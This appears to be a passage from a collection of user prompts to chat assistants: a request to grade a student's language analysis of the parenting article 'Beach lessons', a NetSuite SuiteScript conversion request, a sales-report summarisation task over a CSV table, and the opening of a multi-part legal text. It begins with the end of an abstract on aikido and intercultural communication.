intercultural inter\x02action consciously foster recipient design is similar to how aikido practitioners \nseek harmony in aikido interaction. Interlocutors in intercultural interaction do \nnot readily find common ground. Instead, they co-create it with the same focus \naikido practitioners have when building common ground in aikido interaction. In \nsum, focused interactions in intercultural and aikido situations achieve a noble \noutcome by seeking harmony and co-creating common ground.\nThe embodied pedagogy of aikido comprises multisensory learning and \nsomatic discovery. Pedagogical and educational research showed the benefits \nof multisensory learning, of combining visual, auditory and physical stimuli \nin the learning process. To train physiological and mental tranquility, aikido \ninvolves somatic exercises. Medical, biological and behavioral research showed \nthat the somatic practice of tranquility creates changes in the autonomic nervous \nsystem that influence behavior positively: resilience, creativity and empathy. \nThese advantages in behavior are favorable for seeking harmony and co-creating \ncommon ground in challenging interactions. Participants in an intercultural \ncommunication training course that relies on aikido discover conscious recip\x02ient design by physical contact and movements. They train tranquility and feel \nhow it creates conditions for seeking harmony and co-creating common ground. \nThe trainer facilitates the embodied discovery process and the translation from \naikido interaction into intercultural interaction. We, therefore, conclude that \naikido has potential as an embodied pedagogy for intercultural communication \ntraining.' -'de obfuscate this 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-'# Background information\n\nThe following article appeared in Child Monthly, a magazine for parents of young children widely distributed in maternal and child health centres. It responds to concerns about the increasing amount of time children spend viewing electronic media on television, computer, tablet and phone screens, as well as increasing rates of childhood obesity in Australia.\n\n# Beach lessons - By Zan Smith\n\nDuring the long wet winter we’ve just had, our three toddlers were cooped up in the house week after week, rarely able to escape for a run or a climb. Despite our best efforts to come up with activities and games, there was no end to the arguments and squabbling, or the constant demands for attention and novelty throughout the day.\nOccasionally we resorted to the TV for half an hour or so of entertainment – and half an hour of peace and quiet in the house to get dinner prepared. But it always seemed to reduce them to a kind of inertia, stopping them from interacting with one another and from engaging in more active behaviours.\nAlthough it freed me up to get something done, I never wanted it to go for more than an hour.\nSo I was very interested, and rather concerned, to read the article in the previous issue of Child Monthly on iPads and computers being used in classrooms from Prep onwards, to encourage kids to do their own learning and creative play – especially kids who are slow to read and write. I can’t help wondering if this is all a bit too much too soon. Where is this all going? What will the implications be for our children when they are older, if interacting with a screen becomes so normal so early?\nIn the US, for instance, the Department of Health and Human Services has reported that 8 to 18 year olds are watching on average around 4.5 hours a day of TV and spending over an hour a day playing video games. When do these children do their homework? Read a book? Play sport?\nIn Canada there are new guidelines for the amount of activity young children should be doing, based on findings that children aged 4 and under are spending over 70% of their days being sedentary. These guidelines are also addressing alarming levels of childhood obesity, with around a quarter of Canadian children being overweight or obese.\nIs this where we’re heading in Australia, too? In a country where kids used to grow up playing sport for hours after school, either in organised competitions or impromptu games of backyard cricket? Or practically living at the beach all summer? It seems the answer is ‘yes’. The Australian Bureau of Statistics reports that in 2011–12, 25.1% of children aged 2 to 17 were overweight or obese.\nAnd in Australia too, authorities are recommending lower levels of screen time for young children. The Raising Children Network recommends no more than an hour a day of screen time for children between 2 and 5, and no more than two hours for children 5 and over.\nIt’s not that screen time by itself is necessarily a bad thing, in the way that eating sugar is bad for your teeth. There are many educational games and apps that kids find fun and engaging, and which undoubtedly help them to learn. And digital literacy is going to be more and more important in our children’s lives.\nRather, it’s the things that are not happening while you’re sitting or lying in front of a screen that make it essential to limit its use. It’s the senses that aren’t being engaged: while sight and sound are active, taste and smell are totally dormant. Touch can be used minimally for a tablet, but there is really nothing especially tactile about a glass screen, and we all know how much children learn by doing things with their hands.\nIt was a great relief to our family, then, when the warm weather finally arrived towards the end of spring and we could set off for our local beach once again, buckets and spades, towels and togs in hand. Miraculously, the arguments and demands stopped almost instantly as the fresh air, the soft sand and the cool water provided all the stimulation needed for hours at a time. Sandcastles were built, races were run along the beach, faces were splashed. There were so many things to see and hear, but even more importantly there were things to taste, smell and – most of all – touch.\nI was amazed by the transformation in my children’s behaviour, from cranky to content, from depending on me as the source of all entertainment and education to finding these things readily available on the beach. The beach is not just a playground; it’s also a place where children learn without even trying. Marine and bird life are all around, from seagulls to tiny fish in the shallows to the tenacious mussels, limpets and crabs eking out an existence in rock pools. Water and sand play becomes a lesson in flow, absorption, textures. A surfboard left on the beach for communal use becomes a child’s first ecstatic experience of buoyancy.\nEven the hazards of the beach are instructive: the dangers of too much sun exposure; the risk posed by creatures that might bite or sting; the threat implicit in deep or rough water. All are part of life’s complexity, yet become sources of learning and understanding when they are part of an environment we clearly belong to.\nSo here’s looking forward to a long summer, to days on the beach, to swimming lessons – and, in all weathers, the open air, the world of the senses, and sources of childhood contentment that enrich all of our lives.\n\nGrade these two body paragraphs of a language analysis based on the piece "Beach lessons" by Zan Smith:\n\nSmith aims to increase her affinity with her audience by opening up her second argument by introducing concerning statistics from reputable sources of the United States and Canada; playing on the fact that they are trusted, developed nations whose studies can be trusted. By italicising the word "and" while listing the various ways children spend time in the digital world, Smith strives to convey the scale of time spent away from reality by using this connective to enlarge her sentence as well. Smith proceeds to use exclusive language, such as referring to such children as "these children" in her rhetoric device which lists important activities other than screen time, creating an \\*us-vs-them\\* situation with the rhetoric questions serving as a listing of things that the kids that aren\'t addicted to screens do. She moves on to evoke a sense of patriotism by asking if this is "where we\'re heading in Australia, too". This query acts as a comparator between Australia, the nation of Smith\'s primary audience, and other comparable developed countries who have been portrayed in a negative limelight through the use of child obesity and daily screen time statistics, painting their kids as overindulgent. She continues building on this sense of patriotism by playing on the nostalgia of her readers by reciting various activities that she (and her main demographic of readers) remembers from youthful times. The use of the phrase "grow up" in this section acts as a call to action as it makes the reader think that the kids who aren\'t partaking in such passtimes aren\'t growing up properly. She also lists activities that allow the reader to relate to life lessons learned whilst doing those activities, such as building teamwork skills in sport, or practicing creativity and applying their curiosity at the beach. Smith then answers her own question about the direction of Australia future with a short response of the word "yes", invoking fear from the audience as this aims to leave them worrying for it and attempting to fix it. Smith cements a rational tone in this segment of the text through the use of statistics to add to her credibility and aiming to persuade anecdotally on multiple occasions. These techniques are all priming the audience to agree with Smith, that too much screen time is detrimental to kids\' health, because the kids \\*are\\* the future that she refers to in her arguments.\nSmith proceeds to nullify the main argument of the opposing side by clarifying that her problem is not with the content on the screens, but rather the screens themselves. She asserts that it is "essential" to limit screens\' use due to the things "that are \\*not\\* happening while you\'re sitting or lying" in front of them. She twists the point of using technology to learn by showing how little children actually learn digitally because their other senses aren\'t fully engaged by a screen. Smith even generalises the knowledge that "children learn by doing things with their hands", aiming to provide a clearer view of the reasoning behind her argument. She switches her tone from describing the despair of being locked inside like a prisoner to the warming cadence of being outside on the beach in the spring weather. She indicates that the beach was a "great reflief" to her family, contrasting it with the subject of kids being glued to screens discussed earlier. This clearly emphasises what the author is supporting. The description of the "warm" weather juxtaposes the "long wet winter" with which Smith aims to paint a brighter picture of the beach in the reader\'s mind, aligning them more with the author\'s contention. Smith, once again hoping to connect with the audience through shared experiences, lists the items that her family "set off" for their local beach with, employing colloquial language such as "togs" to make her text more emotionally appealing as she hopes to evoke visuals of the reader\'s own times at the beach. Smith comes back to discussing how the senses are engaged more at the beach than they are staring at a screen, solidifying the beach as a better alternative to the digital world. She goes into detail about the sense of touch, which the screen, as she mentioned before, provides "really nothing" in this area of engagement.' -'can you convert this to suitescript 2.0\n\nwith the relevant entry points:\nfunction getPromoPrices(){\n var column = [new nlobjSearchColumn("custrecord\\_parent\\_promo",null,"GROUP")];\n var ppm = nlapiSearchRecord("customrecord\\_special\\_pricing\\_detail",null, [\n ["custrecord\\_detail\\_customer","anyof","@NONE@"], \n "AND", \n ["custrecord\\_parent\\_promo","noneof","@NONE@"]\n ],column);\n \n var promoprices = [];\n for(var i = 0; i < ppm.length; i++){\n promoprices.push({ type: "customrecord\\_promo\\_header", id: ppm[i].getValue(column[0]) });\n }\n return promoprices;\n}\n\nfunction scheduled(type){ \n \n var context = nlapiGetContext();\n var recordType = context.getSetting(\'SCRIPT\', \'custscript\\_uc\\_rectype\');\n var recordId = context.getSetting(\'SCRIPT\', \'custscript\\_uc\\_recid\');\n \n if(recordId){\n run(recordId, recordType, context);\n } else {\n var ppm = getPromoPrices() || [];\n nlapiLogExecution(\'DEBUG\', \'Promo Prices\', ppm.length);\n \n for(var i = 0; i < ppm.length; i++){\n run(ppm[i].id, ppm[i].type, context);\n context = nlapiGetContext();\n nlapiLogExecution(\'debug\', \'remaining usage\', context.getRemainingUsage());\n if (context.getRemainingUsage() <= 500) {\n var status = nlapiScheduleScript(context.getScriptId())\n if ( status == \'QUEUED\' )\n break;\n }\n }\n }\n}\n\n/\\*\\*\n \\* @param {String} type Context Types: scheduled, ondemand, userinterface, aborted, skipped\n \\* @returns {Void}\n \\*/\nfunction run(recordId, recordType, context) {\n try {\n \n var record = nlapiLoadRecord(recordType, recordId);\n if (recordType == \'customrecord\\_promo\\_header\') {\n var recordStatus = record.getFieldValue(\'custrecord\\_promohead\\_status\');\n var startDate = record.getFieldValue(\'custrecord\\_promohead\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_promohead\\_enddate\');\n if (recordStatus == 8) {\n var copiedFrom = record.getFieldValue(\'custrecord\\_promohead\\_copiedfrom\');\n var filter = new nlobjSearchFilter(\'custrecord\\_parent\\_promo\', null, \'anyof\', copiedFrom);\n var filterDet= [[\'custrecord\\_parent\\_promo\', \'anyof\', copiedFrom]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n var index = 0;\n var max = 1000;\n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n nlapiLogExecution(\'DEBUG\', \'sp Id\', schDetail[i].getId());\n \n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var item = schDetail[i].getValue(\'custrecord\\_detail\\_item\');\n var option = schDetail[i].getValue(\'custrecord\\_detail\\_option\');\n var basePrice = schDetail[i].getValue(\'custrecord\\_detail\\_baseprice\');\n var usualPrice = schDetail[i].getValue(\'custrecord\\_detail\\_usualrate\');\n \n var qty1 = schDetail[i].getValue(\'custrecord\\_detail\\_qty1\');\n var price1 = schDetail[i].getValue(\'custrecord\\_detail\\_rate1\');\n \n var qty2 = schDetail[i].getValue(\'custrecord\\_detail\\_qty2\');\n var price2 = schDetail[i].getValue(\'custrecord\\_detail\\_rate2\');\n \n var qty3 = schDetail[i].getValue(\'custrecord\\_detail\\_qty3\');\n var price3 = schDetail[i].getValue(\'custrecord\\_detail\\_rate3\');\n \n var qty4 = schDetail[i].getValue(\'custrecord\\_detail\\_qty4\');\n var price4 = schDetail[i].getValue(\'custrecord\\_detail\\_rate4\');\n \n var qty5 = schDetail[i].getValue(\'custrecord\\_detail\\_qty5\');\n var price5 = schDetail[i].getValue(\'custrecord\\_detail\\_rate5\');\n \n var customersStr = schDetail[i].getValue(\'custrecord\\_detail\\_customer\');\n var customerArr = customersStr.split(",");\n nlapiLogExecution(\'DEBUG\', typeof customerArr1);\n \n nlapiLogExecution(\'DEBUG\', \'customers length\', customerArr.length);\n var marketing = schDetail[i].getValue(\'custrecord\\_detail\\_marketingprice\');\n var newDetail = nlapiCreateRecord(\'customrecord\\_special\\_pricing\\_detail\');\n \n newDetail.setFieldValue(\'custrecord\\_parent\\_promo\', recordId);\n newDetail.setFieldValue(\'custrecord\\_detail\\_item\', item);\n newDetail.setFieldValue(\'custrecord\\_detail\\_option\', option);\n newDetail.setFieldValue(\'custrecord\\_detail\\_baseprice\', basePrice);\n newDetail.setFieldValue(\'custrecord\\_detail\\_usualrate\', usualPrice);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty1\', qty1);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate1\', price1);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty2\', qty2);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate2\', price2);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_qty3\', qty3);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate3\', price3);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty4\', qty4);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate4\', price4);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_qty5\', qty5);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate5\', price5);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n newDetail.setFieldValue(\'custrecord\\_detail\\_enddate\', endDate);\n newDetail.setFieldValue(\'custrecord\\_detail\\_customer\', customerArr);\n newDetail.setFieldValue(\'custrecord\\_detail\\_marketingprice\', marketing);\n nlapiSubmitRecord(newDetail, false, true);\n \n \n }\n }\n \n }\n \n \n \n }\n else {\n var someCust = record.getFieldValues(\'custrecord\\_promohead\\_child\');\n var startDate = record.getFieldValue(\'custrecord\\_promohead\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_promohead\\_enddate\');\n var customer = record.getFieldValue(\'custrecord\\_parenthead\\_customer\');\n \n var filCust = new Array(); \n filCust.push(new nlobjSearchFilter(\'parent\', null, \'anyof\', customer));\n filCust.push(new nlobjSearchFilter(\'isinactive\', null, \'is\', \'F\'));\n //filCust.push(new nlobjSearchFilter(\'isjob\', null, \'is\', \'F\'));\n var childCust = nlapiSearchRecord(\'customer\', null, filCust, null);\n \n var allChildArray = new Array();\n \n if (childCust) {\n allChildArray.push(customer);\n for (var j = 0; j < childCust.length; j++) {\n \n allChildArray.push(childCust[j].getId());\n }\n \n }\n \n var someCustArray = new Array();\n someCustArray.push(customer);\n if (!isNullOrEmpty(someCust)) {\n for (var j = 0; j < someCust.length; j++) {\n someCustArray.push(someCust[j]);\n }\n }\n \n var lineCount = record.getLineItemCount(\'recmachcustrecord\\_parent\\_promo\');\n var custArray = new Array();\n custArray.push(customer);\n \n nlapiLogExecution(\'DEBUG\', \'1\', \'\');\n var filterDet= [[\'custrecord\\_parent\\_promo\', \'anyof\', recordId]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n nlapiLogExecution(\'DEBUG\', \'2\', \'\');\n \n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n nlapiLogExecution(\'DEBUG\', \'2b\', \'\');\n var index = 0;\n var max = 1000;\n \n \n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var detId = schDetail[i].getId();\n nlapiLogExecution(\'DEBUG\', \'child id\', detId);\n var recordDet = nlapiLoadRecord(\'customrecord\\_special\\_pricing\\_detail\', detId, {recordmode: \'dynamic\'});\n \n var option = recordDet.getFieldValue(\'custrecord\\_detail\\_option\');\n \n if (option == \'1\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', allChildArray);\n }\n if (option == \'2\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', someCustArray);\n }\n if (option == \'3\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', customer);\n \n }\n \n recordDet.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n recordDet.setFieldValue(\'custrecord\\_detail\\_enddate\', endDate);\n nlapiSubmitRecord(recordDet, true, true);\n \n \n }\n }\n }\n }\n \n nlapiSubmitField(recordType, recordId, \'custrecord\\_promohead\\_status\', 4);\n \n \n }\n \n \n if (recordType == \'customrecord\\_contract\\_pricing\') {\n \n var contractReview = record.getFieldValue(\'custrecord\\_cp\\_contractreview\');\n var startDate = record.getFieldValue(\'custrecord\\_cp\\_startdate\');\n //var location = record.getFieldValue(\'custrecord\\_cp\\_location\');\n var filters = new Array();\n var customer = record.getFieldValue(\'custrecord\\_cp\\_parentcustomer\');\n var someCust = record.getFieldValues(\'custrecord\\_cp\\_child\');\n \n var filCust = new Array(); \n filCust.push(new nlobjSearchFilter(\'parent\', null, \'anyof\', customer));\n filCust.push(new nlobjSearchFilter(\'isinactive\', null, \'is\', \'F\'));\n //filCust.push(new nlobjSearchFilter(\'isjob\', null, \'is\', \'F\'));\n var childCust = nlapiSearchRecord(\'customer\', null, filCust, null);\n var allChildArray = new Array();\n //allChildArray.push(customer);\n if (childCust) {\n nlapiLogExecution(\'DEBUG\', \'childcust length\', childCust.length);\n for (var j = 0; j < childCust.length; j++) {\n allChildArray.push(childCust[j].getId());\n }\n nlapiLogExecution(\'DEBUG\', \'childcust all\', JSON.stringify(allChildArray));\n }\n \n var someCustArray = new Array();\n someCustArray.push(customer);\n if (!isNullOrEmpty(someCust)) {\n for (var j = 0; j < someCust.length; j++) {\n someCustArray.push(someCust[j]);\n }\n }\n \n //\\*\\*\\*\\* add here\n nlapiLogExecution(\'DEBUG\', \'1\', \'\');\n var filterDet= [[\'custrecord\\_contract\\_parent\', \'anyof\', recordId]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n nlapiLogExecution(\'DEBUG\', \'2\', \'\');\n \n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n nlapiLogExecution(\'DEBUG\', \'2b\', \'\');\n var index = 0;\n var max = 1000;\n \n \n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var detId = schDetail[i].getId();\n nlapiLogExecution(\'DEBUG\', \'child id\', detId);\n var recordDet = nlapiLoadRecord(\'customrecord\\_special\\_pricing\\_detail\', detId, {recordmode: \'dynamic\'});\n recordDet.setFieldValue(\'custrecord\\_detail\\_contractreviewdate\', contractReview);\n recordDet.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n var option = recordDet.getFieldValue(\'custrecord\\_detail\\_option\');\n if (option == 1) {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', allChildArray);\n \n }\n if (option == 2) {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', someCustArray);\n \n }\n \n if (option == \'3\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', customer);\n \n }\n nlapiSubmitRecord(recordDet, true, true);\n \n }\n }\n }\n nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', 4);\n \n }\n \n \n \n if (recordType == \'customrecord\\_catalogue\\_pricing\') {\n var startDate = record.getFieldValue(\'custrecord\\_cat\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_cat\\_enddate\');\n var oldStatus = record.getFieldValue(\'custrecord\\_cat\\_oldstatus\');\n var lineCount = record.getLineItemCount(\'recmachcustrecord\\_parent\\_catalogue\');\n \n for (var i = 1; i <= lineCount; i++) {\n \n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n \n record.setLineItemValue(\'recmachcustrecord\\_parent\\_catalogue\', \'custrecord\\_detail\\_startdate\', i, startDate);\n record.setLineItemValue(\'recmachcustrecord\\_parent\\_catalogue\', \'custrecord\\_detail\\_enddate\', i, endDate);\n \n }\n \n record.setFieldValue(\'custrecord\\_cat\\_status\', oldStatus);\n nlapiSubmitRecord(record, false, true);\n \n }\n \n \n }\n catch (e) {\n if (recordType == \'customrecord\\_promo\\_header\') nlapiSubmitField(recordType, recordId, \'custrecord\\_promohead\\_status\', 5, false);\n if (recordType == \'customrecord\\_contract\\_pricing\') nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', 5, false);\n if (recordType == \'customrecord\\_catalogue\\_pricing\') nlapiSubmitField(recordType, recordId, \'custrecord\\_cat\\_status\', 6, false);\n //nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', \'5\');\n if (e instanceof nlobjError) {\n nlapiLogExecution(\'DEBUG\', \'Scheduled\', e.getCode() + \'\\n\' + e.getDetails());\n \n }\n else {\n nlapiLogExecution(\'DEBUG\', \'Scheduled - unexpected\', e.toString());\n \n }\n }\n}' -'Assume that today\'s date is 12/31/2022 and we\'re writing a monthly business report about our team\'s performance. We want to summarize how many sales we had in August 2022, how that compared month over month, and how that changed year over year. We also want to include how many unique buyers we had that month.\n"""\n\nGiven the following content to extract from:\n"""\nmonth,sales\\_usd,sales\\_usd\\_MoM,sales\\_usd\\_YoY,unique\\_buyers,unique\\_buyers\\_MoM,unique\\_buyers\\_YoY,total\\_transactions,total\\_transactions\\_MoM,total\\_transactions\\_YoY,avg\\_sale,avg\\_sale\\_MoM,avg\\_sale\\_YoY\n12/1/2022,"1,447,098",-30.3%,-96.3%,"8,308",-17.1%,-83.3%,"128,477",-13.4%,-90.6%,$11.26,-19.5%,-60.3%\n11/1/2022,"2,074,764",-22.4%,-91.8%,"10,023",-25.5%,-84.5%,"148,440",-21.4%,-88.5%,$13.98,-1.3%,-28.8%\n10/1/2022,"2,674,792",-42.9%,-93.5%,"13,462",5.9%,-79.5%,"188,864",-10.8%,-83.3%,$14.16,-36.0%,-60.9%\n9/1/2022,"4,683,073",-33.5%,-76.9%,"12,712",-17.3%,-73.2%,"211,829",-49.9%,-67.9%,$22.11,32.9%,-28.1%\n8/1/2022,"7,042,031",-15.6%,-81.2%,"15,369",-12.4%,-73.3%,"423,164",-22.8%,-49.2%,$16.64,9.3%,-63.0%\n7/1/2022,"8,338,866",8.0%,-62.5%,"17,552",-30.3%,-70.8%,"547,841",43.1%,-46.4%,$15.22,-24.6%,-30.1%\n6/1/2022,"7,722,164",-44.6%,-83.0%,"25,200",-27.9%,-66.9%,"382,749",-51.3%,-76.9%,$20.18,13.9%,-26.3%\n5/1/2022,"13,931,450",-47.2%,-65.9%,"34,936",-6.7%,-69.4%,"786,680",-24.1%,-40.4%,$17.71,-30.5%,-42.8%\n4/1/2022,"26,402,816",-10.4%,-67.9%,"37,440",-8.3%,-68.8%,"1,036,816",-14.9%,-17.9%,$25.47,5.2%,-60.9%\n3/1/2022,"29,475,484",-38.1%,-85.8%,"40,828",-44.3%,-77.8%,"1,217,918",-29.1%,-8.2%,$24.20,-12.7%,-84.6%\n2/1/2022,"47,606,739",-19.3%,-78.8%,"73,304",13.7%,-9.3%,"1,716,666",-6.1%,39.3%,$27.73,-14.1%,-84.7%\n1/1/2022,"59,020,026",52.0%,45.6%,"64,494",29.4%,236.2%,"1,828,283",33.5%,261.6%,$32.28,13.9%,-59.8%\n12/1/2021,"38,837,806",53.9%,4368.4%,"49,829",-22.9%,5375.7%,"1,369,789",6.6%,4173.1%,$28.35,44.4%,4.6%\n11/1/2021,"25,236,903",-38.3%,7724.6%,"64,650",-1.7%,13120.9%,"1,285,372",14.0%,12898.0%,$19.63,-45.8%,-39.8%\n10/1/2021,"40,869,575",101.5%,4791.9%,"65,769",38.7%,7048.8%,"1,127,610",70.9%,5627.1%,$36.24,17.9%,-14.6%\n9/1/2021,"20,282,690",-45.9%,9012.7%,"47,434",-17.7%,10302.2%,"659,935",-20.8%,9081.1%,$30.73,-31.7%,-0.7%\n8/1/2021,"37,502,857",68.6%,24144.8%,"57,618",-4.0%,18308.3%,"833,278",-18.4%,12506.3%,$45.01,106.8%,92.4%\n7/1/2021,"22,245,483",-51.0%,266249.2%,"60,027",-21.1%,171405.7%,"1,021,688",-38.4%,385442.6%,$21.77,-20.5%,-30.9%\n6/1/2021,"45,367,753",11.0%,,"76,032",-33.5%,,"1,657,712",25.6%,,$27.37,-11.6%,\n5/1/2021,"40,855,232",-50.4%,,"114,264",-4.8%,,"1,319,971",4.5%,,$30.95,-52.5%,\n4/1/2021,"82,309,626",-60.5%,,"120,057",-34.8%,,"1,263,374",-4.8%,,$65.15,-58.5%,\n3/1/2021,"208,285,837",-7.0%,,"184,008",127.7%,,"1,327,028",7.7%,,$156.96,-13.7%,\n2/1/2021,"224,070,124",452.6%,,"80,822",321.3%,,"1,232,459",143.8%,,$181.81,126.7%,\n1/1/2021,"40,547,118",4565.1%,,"19,185",2008.2%,,"505,572",1477.2%,,$80.20,195.8%,\n12/1/2020,"869,161",169.5%,,910,86.1%,,"32,056",224.2%,,$27.11,-16.9%,\n11/1/2020,"322,531",-61.4%,,489,-46.8%,,"9,889",-49.8%,,$32.62,-23.1%,\n10/1/2020,"835,451",275.4%,,920,101.8%,,"19,689",173.9%,,$42.43,37.0%,\n9/1/2020,"222,576",43.9%,,456,45.7%,,"7,188",8.7%,,$30.96,32.3%,\n8/1/2020,"154,684",1752.1%,,313,794.3%,,"6,610",2394.3%,,$23.40,-25.8%,\n7/1/2020,"8,352",,,35,,,265,,,$31.52,,\nGiven the following format to mirror:\n"""\nIn November 2022, we saw $2,074,764 of sales (-22.4% MoM; -91.8% YoY) across 10,023 unique buyers.\n"""\n\nExtract the text from the following content relevant to the question:\n"""\nmonth,sales\\_usd,sales\\_usd\\_MoM,sales\\_usd\\_YoY,unique\\_buyers,unique\\_buyers\\_MoM,unique\\_buyers\\_YoY,total\\_transactions,total\\_transactions\\_MoM,total\\_transactions\\_YoY,avg\\_sale,avg\\_sale\\_MoM,avg\\_sale\\_YoY\n12/1/2022,"1,447,098",-30.3%,-96.3%,"8,308",-17.1%,-83.3%,"128,477",-13.4%,-90.6%,$11.26,-19.5%,-60.3%\n11/1/2022,"2,074,764",-22.4%,-91.8%,"10,023",-25.5%,-84.5%,"148,440",-21.4%,-88.5%,$13.98,-1.3%,-28.8%\n10/1/2022,"2,674,792",-42.9%,-93.5%,"13,462",5.9%,-79.5%,"188,864",-10.8%,-83.3%,$14.16,-36.0%,-60.9%\n9/1/2022,"4,683,073",-33.5%,-76.9%,"12,712",-17.3%,-73.2%,"211,829",-49.9%,-67.9%,$22.11,32.9%,-28.1%\n8/1/2022,"7,042,031",-15.6%,-81.2%,"15,369",-12.4%,-73.3%,"423,164",-22.8%,-49.2%,$16.64,9.3%,-63.0%\n7/1/2022,"8,338,866",8.0%,-62.5%,"17,552",-30.3%,-70.8%,"547,841",43.1%,-46.4%,$15.22,-24.6%,-30.1%\n6/1/2022,"7,722,164",-44.6%,-83.0%,"25,200",-27.9%,-66.9%,"382,749",-51.3%,-76.9%,$20.18,13.9%,-26.3%\n5/1/2022,"13,931,450",-47.2%,-65.9%,"34,936",-6.7%,-69.4%,"786,680",-24.1%,-40.4%,$17.71,-30.5%,-42.8%\n4/1/2022,"26,402,816",-10.4%,-67.9%,"37,440",-8.3%,-68.8%,"1,036,816",-14.9%,-17.9%,$25.47,5.2%,-60.9%\n3/1/2022,"29,475,484",-38.1%,-85.8%,"40,828",-44.3%,-77.8%,"1,217,918",-29.1%,-8.2%,$24.20,-12.7%,-84.6%\n2/1/2022,"47,606,739",-19.3%,-78.8%,"73,304",13.7%,-9.3%,"1,716,666",-6.1%,39.3%,$27.73,-14.1%,-84.7%\n1/1/2022,"59,020,026",52.0%,45.6%,"64,494",29.4%,236.2%,"1,828,283",33.5%,261.6%,$32.28,13.9%,-59.8%\n12/1/2021,"38,837,806",53.9%,4368.4%,"49,829",-22.9%,5375.7%,"1,369,789",6.6%,4173.1%,$28.35,44.4%,4.6%\n11/1/2021,"25,236,903",-38.3%,7724.6%,"64,650",-1.7%,13120.9%,"1,285,372",14.0%,12898.0%,$19.63,-45.8%,-39.8%\n10/1/2021,"40,869,575",101.5%,4791.9%,"65,769",38.7%,7048.8%,"1,127,610",70.9%,5627.1%,$36.24,17.9%,-14.6%\n9/1/2021,"20,282,690",-45.9%,9012.7%,"47,434",-17.7%,10302.2%,"659,935",-20.8%,9081.1%,$30.73,-31.7%,-0.7%\n8/1/2021,"37,502,857",68.6%,24144.8%,"57,618",-4.0%,18308.3%,"833,278",-18.4%,12506.3%,$45.01,106.8%,92.4%\n7/1/2021,"22,245,483",-51.0%,266249.2%,"60,027",-21.1%,171405.7%,"1,021,688",-38.4%,385442.6%,$21.77,-20.5%,-30.9%\n6/1/2021,"45,367,753",11.0%,,"76,032",-33.5%,,"1,657,712",25.6%,,$27.37,-11.6%,\n5/1/2021,"40,855,232",-50.4%,,"114,264",-4.8%,,"1,319,971",4.5%,,$30.95,-52.5%,\n4/1/2021,"82,309,626",-60.5%,,"120,057",-34.8%,,"1,263,374",-4.8%,,$65.15,-58.5%,\n3/1/2021,"208,285,837",-7.0%,,"184,008",127.7%,,"1,327,028",7.7%,,$156.96,-13.7%,\n2/1/2021,"224,070,124",452.6%,,"80,822",321.3%,,"1,232,459",143.8%,,$181.81,126.7%,\n1/1/2021,"40,547,118",4565.1%,,"19,185",2008.2%,,"505,572",1477.2%,,$80.20,195.8%,\n12/1/2020,"869,161",169.5%,,910,86.1%,,"32,056",224.2%,,$27.11,-16.9%,\n11/1/2020,"322,531",-61.4%,,489,-46.8%,,"9,889",-49.8%,,$32.62,-23.1%,\n10/1/2020,"835,451",275.4%,,920,101.8%,,"19,689",173.9%,,$42.43,37.0%,\n9/1/2020,"222,576",43.9%,,456,45.7%,,"7,188",8.7%,,$30.96,32.3%,\n8/1/2020,"154,684",1752.1%,,313,794.3%,,"6,610",2394.3%,,$23.40,-25.8%,\n7/1/2020,"8,352",,,35,,,265,,,$31.52,,\n"""\n\nSummarize the extracted text from the content above in the format to mirror:\n"""' -'This is part 4 of my multiple messages. I will continue to send you further messages. Do not write anything for now. If you understand my request, please reply by only saying "acknowledged"\n\nConsideration\n\nAssessment of witnesses. In his first affidavit, dated 28 June 2022, the owner said (A10 at [6]):\n\nThe plan for the other unit (Unit 1) was for my mother to live in it or to advertise it for rent once the building works were finished.\n\nIn his second affidavit, 